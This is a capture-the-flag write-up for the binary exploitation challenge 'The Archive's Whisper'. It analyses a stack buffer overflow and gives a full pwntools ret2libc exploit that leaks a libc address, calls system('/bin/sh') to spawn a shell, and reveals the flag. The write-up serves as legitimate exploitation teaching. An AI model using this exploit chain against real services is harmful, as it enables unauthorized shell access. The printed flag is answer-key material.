Skip to main content
The Archive's Whisper - CTF Writeup
  1. Writeups/
  2. MOJO-JOJO - CTF Writeups/
  3. Binary Exploitation/

The Archive's Whisper - CTF Writeup

·926 words·5 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: The Archive’s Whisper
Category: PWN
CTF: MOJO-JOJO
Description: A quiet archive awaits your words, but its echo hides something unusual beneath the surface.
Connection: nc mojo-pwn.securinets.tn 9002


Initial Reconnaissance
#

First, let’s examine the provided binary:

$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
      interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

$ checksec main
[*] '/path/to/main'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fc000)

Key observations:

  • No PIE: Binary addresses are fixed, making ROP chain construction easier
  • No canary: Stack buffer overflows won’t be detected
  • NX enabled: Stack is non-executable, so we can’t execute shellcode directly
  • Not stripped: Function names are preserved, helpful for analysis

Binary Analysis
#

Main Function
#

00000000004011e0 <main>:
  4011e0:   push   rbp
  4011e1:   mov    rbp,rsp
  4011e4:   mov    eax,0x0
  4011e9:   call   40114f <setup>      ; Setup I/O buffering
  4011ee:   mov    eax,0x0
  4011f3:   call   4011b0 <vuln>       ; Vulnerable function
  4011f8:   mov    eax,0x0
  4011fd:   pop    rbp
  4011fe:   ret

Vulnerable Function
#

00000000004011b0 <vuln>:
  4011b0:   push   rbp
  4011b1:   mov    rbp,rsp
  4011b4:   sub    rsp,0x40            ; Allocate 64 bytes
  4011b8:   lea    rax,[rip+0xe49]
  4011bf:   mov    rdi,rax
  4011c2:   call   401030 <puts@plt>   ; Print message
  4011c7:   lea    rax,[rbp-0x40]      ; Buffer at rbp-0x40
  4011cb:   mov    edx,0xc8            ; Read 200 bytes!
  4011d0:   mov    rsi,rax
  4011d3:   mov    edi,0x0
  4011d8:   call   401040 <read@plt>
  4011dd:   nop
  4011de:   leave
  4011df:   ret

The Vulnerability: Classic buffer overflow!

  • Buffer size: 0x40 (64 bytes)
  • Read size: 0xc8 (200 bytes)
  • Overflow: 200 - 64 = 136 bytes of controllable data beyond the buffer

Useless Gadget (Not So Useless!)
#

0000000000401146 <useless_gadget>:
  401146:   push   rbp
  401147:   mov    rbp,rsp
  40114a:   pop    rdi              ; pop rdi; ret gadget!
  40114b:   ret

This gives us a crucial ROP gadget: pop rdi; ret at address 0x40114a.

Exploitation Strategy
#

Since NX is enabled, we can’t execute shellcode on the stack. We’ll use a ret2libc attack:

Two-Stage Attack
#

Stage 1: Leak libc address

  1. Use buffer overflow to control RIP
  2. Build ROP chain to call puts(puts@got) - this leaks the runtime address of puts in libc
  3. Return to main to get another chance to exploit

Stage 2: Get shell

  1. Calculate libc base address from the leak
  2. Find addresses of system() and "/bin/sh" in libc
  3. Build ROP chain to call system("/bin/sh")

Gathering Information
#

ROP Gadgets
#

objdump -M intel -d main | grep -E "(pop|ret)"

Found gadgets:

  • 0x40114a: pop rdi; ret (from useless_gadget)
  • 0x401016: ret (for stack alignment)

GOT Addresses
#

objdump -R main
  • puts@GOT: 0x404000
  • read@GOT: 0x404008

PLT Addresses
#

  • puts@PLT: 0x401030
  • main: 0x4011e0

Libc Offsets
#

$ readelf -s libc.so.6 | grep " puts@@"
puts@@GLIBC_2.2.5: 0x805a0

$ readelf -s libc.so.6 | grep " system@@"
system@@GLIBC_2.2.5: 0x53110

$ strings -a -t x libc.so.6 | grep "/bin/sh"
/bin/sh: 0x1a7ea4

Exploit Development
#

Calculating Offset
#

Buffer is at rbp-0x40, so:

  • Padding to saved RBP: 0x40 bytes
  • Saved RBP: 8 bytes
  • Total offset to return address: 0x48 (72 bytes)

Stage 1: Libc Leak
#

payload1 = b'A' * 0x48          # Fill buffer + saved rbp
payload1 += p64(pop_rdi)        # ROP: pop rdi; ret
payload1 += p64(puts_got)       # ROP: puts@GOT as argument
payload1 += p64(puts_plt)       # ROP: call puts()
payload1 += p64(main_addr)      # ROP: return to main

This calls puts(puts@got), which prints the actual runtime address of puts in libc, then returns to main for stage 2.

Stage 2: Shell Exploitation
#

# Calculate addresses
libc_base = leaked_puts - libc_puts_offset
system_addr = libc_base + libc_system_offset
bin_sh_addr = libc_base + libc_bin_sh_offset

# Build payload
payload2 = b'A' * 0x48          # Fill buffer + saved rbp
payload2 += p64(ret_gadget)     # Stack alignment (important!)
payload2 += p64(pop_rdi)        # ROP: pop rdi; ret
payload2 += p64(bin_sh_addr)    # ROP: "/bin/sh" as argument
payload2 += p64(system_addr)    # ROP: call system()

Note: The extra ret gadget is needed for stack alignment. Modern libc requires the stack to be 16-byte aligned when calling functions like system().

Final Exploit
#

#!/usr/bin/env python3
from pwn import *

# Configuration
elf = ELF('./main')
libc = ELF('./libc.so.6')

# Addresses
pop_rdi = 0x40114a
puts_plt = 0x401030
puts_got = 0x404000
main_addr = 0x4011e0
ret_gadget = 0x401016

# Libc offsets
libc_puts = 0x805a0
libc_system = 0x53110
libc_bin_sh = 0x1a7ea4

# Connect
io = remote('mojo-pwn.securinets.tn', 9002)

# Stage 1: Leak libc
log.info("Stage 1: Leaking libc address...")
payload1 = b'A' * 0x48
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main_addr)

io.recvuntil(b'Enter your data:\n')
io.sendline(payload1)

leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
log.success(f"Leaked puts@libc: {hex(leaked_puts)}")

# Calculate addresses
libc_base = leaked_puts - libc_puts
system_addr = libc_base + libc_system
bin_sh_addr = libc_base + libc_bin_sh

log.info(f"system@libc: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(bin_sh_addr)}")

# Stage 2: Get shell
log.info("Stage 2: Calling system('/bin/sh')...")
payload2 = b'A' * 0x48
payload2 += p64(ret_gadget)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)

io.recvuntil(b'Enter your data:\n')
io.sendline(payload2)

log.success("Shell obtained!")
io.interactive()

Execution
#

$ python3 exploit.py
[*] Stage 1: Leaking libc address...
[+] Leaked puts@libc: 0x7611997685a0
[+] Libc base: 0x7611996e8000
[*] system@libc: 0x76119973b110
[*] /bin/sh: 0x76119988fea4
[*] Stage 2: Calling system('/bin/sh')...
[+] Shell obtained!
$ ls
flag.txt
ld-linux-x86-64.so.2
libc.so.6
run
$ cat flag.txt
MOJO-JOJO{r3turn2l1bc_1s_2_34sy}

Final Flag
#

MOJO-JOJO{r3turn2l1bc_1s_2_34sy}

Key Takeaways
#

  1. “Useless” functions aren’t always useless - The useless_gadget function provided the critical pop rdi; ret gadget needed for the attack.

  2. ret2libc is essential when NX is enabled - Can’t execute shellcode, so we chain existing code (ROP) to call library functions.

  3. Two-stage attacks bypass ASLR - First leak addresses, then use them in the second stage.

  4. Stack alignment matters - Modern x86-64 calling conventions require 16-byte stack alignment. That extra ret gadget ensures proper alignment.

  5. No PIE = Easy ROP - Fixed addresses make gadget finding and ROP chain construction much simpler.

Related